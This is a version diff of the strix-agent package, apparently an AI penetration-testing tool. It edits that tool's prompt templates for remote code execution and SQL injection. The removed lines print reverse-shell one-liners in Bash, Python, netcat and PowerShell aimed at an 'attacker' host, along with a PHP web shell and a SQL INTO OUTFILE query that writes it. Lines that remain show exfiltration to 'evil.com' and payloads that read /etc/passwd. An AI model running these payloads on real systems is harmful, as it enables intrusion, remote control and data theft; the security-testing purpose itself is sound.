strix-agent 0.1.14__py3-none-any.whl → 0.1.15__py3-none-any.whl

strix/prompts/vulnerabilities/rce.jinja

@@ -59,7 +59,7 @@ ${IFS}id
 
 <language_specific_rce>
 <php>
-- eval($_GET['cmd'])
+- eval() with user input
 - system(), exec(), shell_exec(), passthru()
 - preg_replace with /e modifier
 - assert() with string input
@@ -101,7 +101,7 @@ Works in multiple contexts:
 - DNS exfiltration: $(whoami).evil.com
 - HTTP callbacks: curl evil.com/$(id)
 - Time delays for boolean extraction
-- Write to web root: echo '<?php system($_GET["cmd"]); ?>' > /var/www/shell.php
+- Write to web root
 </blind_rce>
 
 <chained_exploitation>
@@ -163,22 +163,6 @@ concat:|file:///etc/passwd
 - Path traversal: /usr/bin/id vs id
 </waf_bypasses>
 
-<post_exploitation>
-<reverse_shells>
-Bash: bash -i >& /dev/tcp/attacker/4444 0>&1
-Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
-Netcat: nc -e /bin/sh attacker 4444
-PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
-</reverse_shells>
-
-<persistence>
-- Cron jobs
-- SSH keys
-- Web shells
-- Systemd services
-</persistence>
-</post_exploitation>
-
 <validation>
 To confirm RCE:
 1. Execute unique command (id, hostname)

strix/prompts/vulnerabilities/sql_injection.jinja

@@ -82,7 +82,6 @@ PostgreSQL:
 <file_operations>
 MySQL:
 ' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
-' UNION SELECT 1,2,'<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'--
 
 MSSQL:
 '; EXEC xp_cmdshell 'type C:\Windows\win.ini'--

{strix_agent-0.1.14.dist-info → strix_agent-0.1.15.dist-info}/METADATA

@@ -1,6 +1,6 @@
 Metadata-Version: 2.3
 Name: strix-agent
-Version: 0.1.14
+Version: 0.1.15
 Summary: Open-source AI Hackers for your apps
 License: Apache-2.0
 Keywords: cybersecurity,security,vulnerability,scanner,pentest,agent,ai,cli

{strix_agent-0.1.14.dist-info → strix_agent-0.1.15.dist-info}/RECORD

@@ -39,8 +39,8 @@ strix/prompts/vulnerabilities/business_logic.jinja,sha256=pazAYPIduxcnTyn0rDJj7n
 strix/prompts/vulnerabilities/csrf.jinja,sha256=CiwzG5UFT8SEt9jlEfSU4gJvonrVSDlaiZ1ff9eYE_0,4451
 strix/prompts/vulnerabilities/idor.jinja,sha256=tpk74gFvrkO2pcPeBB5BpZ2-ZusbU4X-XxFFd5SYvbM,4408
 strix/prompts/vulnerabilities/race_conditions.jinja,sha256=31aKYDqL50v5SP2keS2Gj7cTBuF3WhKIs2DKsZNezSI,4869
-strix/prompts/vulnerabilities/rce.jinja,sha256=VPkQR4vHNDph_u_wWfQKyercq9jMpn8xTWr1k-ybPck,5813
-strix/prompts/vulnerabilities/sql_injection.jinja,sha256=xdcasdmd80zX7qpd9bu3Hn1BKD4qp1NEcq5yP-OgLTc,5700
+strix/prompts/vulnerabilities/rce.jinja,sha256=-V6bexL6vjtNp34z9x_MafoguC0NNEI4hU_CCbamm5I,4776
+strix/prompts/vulnerabilities/sql_injection.jinja,sha256=pN6QSynbsmV81gkNguj59VeEtJoVlPqgKg_8xkqPunY,5614
 strix/prompts/vulnerabilities/ssrf.jinja,sha256=MfRs3MtvgAEauaOrCHpKIoRnS0YCZKyCDaIb_xm5EWA,4440
 strix/prompts/vulnerabilities/xss.jinja,sha256=rVD25fOYxeVgd6k-7eePkzADxCi2XopPSSNPd4J9NWg,6202
 strix/prompts/vulnerabilities/xxe.jinja,sha256=hZ_SlrQQPsDWN2UF4VhIhpXIDAK66su055uEpgAdt5Y,7102
@@ -92,8 +92,8 @@ strix/tools/thinking/thinking_actions_schema.xml,sha256=otD4dOhQx4uyudLnjA_HIP6E
 strix/tools/web_search/__init__.py,sha256=m5PCHXqeNVraLRLNIbh54Z2N4Y_75d-ftqwyq3dbCd0,70
 strix/tools/web_search/web_search_actions.py,sha256=LRS3AjGO4JLIyu_B6-ogfWOsnENwqrrCa8Rz0vxuuGQ,3107
 strix/tools/web_search/web_search_actions_schema.xml,sha256=Ihc3Gv4LaPI_MzBbwZOt3y4pwg9xmtl8KfPNvFihEP4,4805
-strix_agent-0.1.14.dist-info/LICENSE,sha256=fblpcTQlHjFL2NOSV_4XDJiz4q2bLtZ-l6yvlhPnueM,11345
-strix_agent-0.1.14.dist-info/METADATA,sha256=GGgCJg59cRXdTZN7R7122AxtvJtSuATPjkDP2Gz7BbQ,6139
-strix_agent-0.1.14.dist-info/WHEEL,sha256=RaoafKOydTQ7I_I3JTrPCg6kUmTgtm4BornzOqyEfJ8,88
-strix_agent-0.1.14.dist-info/entry_points.txt,sha256=sswIgnkzSVSzQ3Rd046g7mhIPQaj_7RYlXgU_bQelF0,45
-strix_agent-0.1.14.dist-info/RECORD,,
+strix_agent-0.1.15.dist-info/LICENSE,sha256=fblpcTQlHjFL2NOSV_4XDJiz4q2bLtZ-l6yvlhPnueM,11345
+strix_agent-0.1.15.dist-info/METADATA,sha256=1eyZvOFtWwZZgb5HcFn48VY4U-4_8yaiD2e_BIsb5zc,6139
+strix_agent-0.1.15.dist-info/WHEEL,sha256=RaoafKOydTQ7I_I3JTrPCg6kUmTgtm4BornzOqyEfJ8,88
+strix_agent-0.1.15.dist-info/entry_points.txt,sha256=sswIgnkzSVSzQ3Rd046g7mhIPQaj_7RYlXgU_bQelF0,45
+strix_agent-0.1.15.dist-info/RECORD,,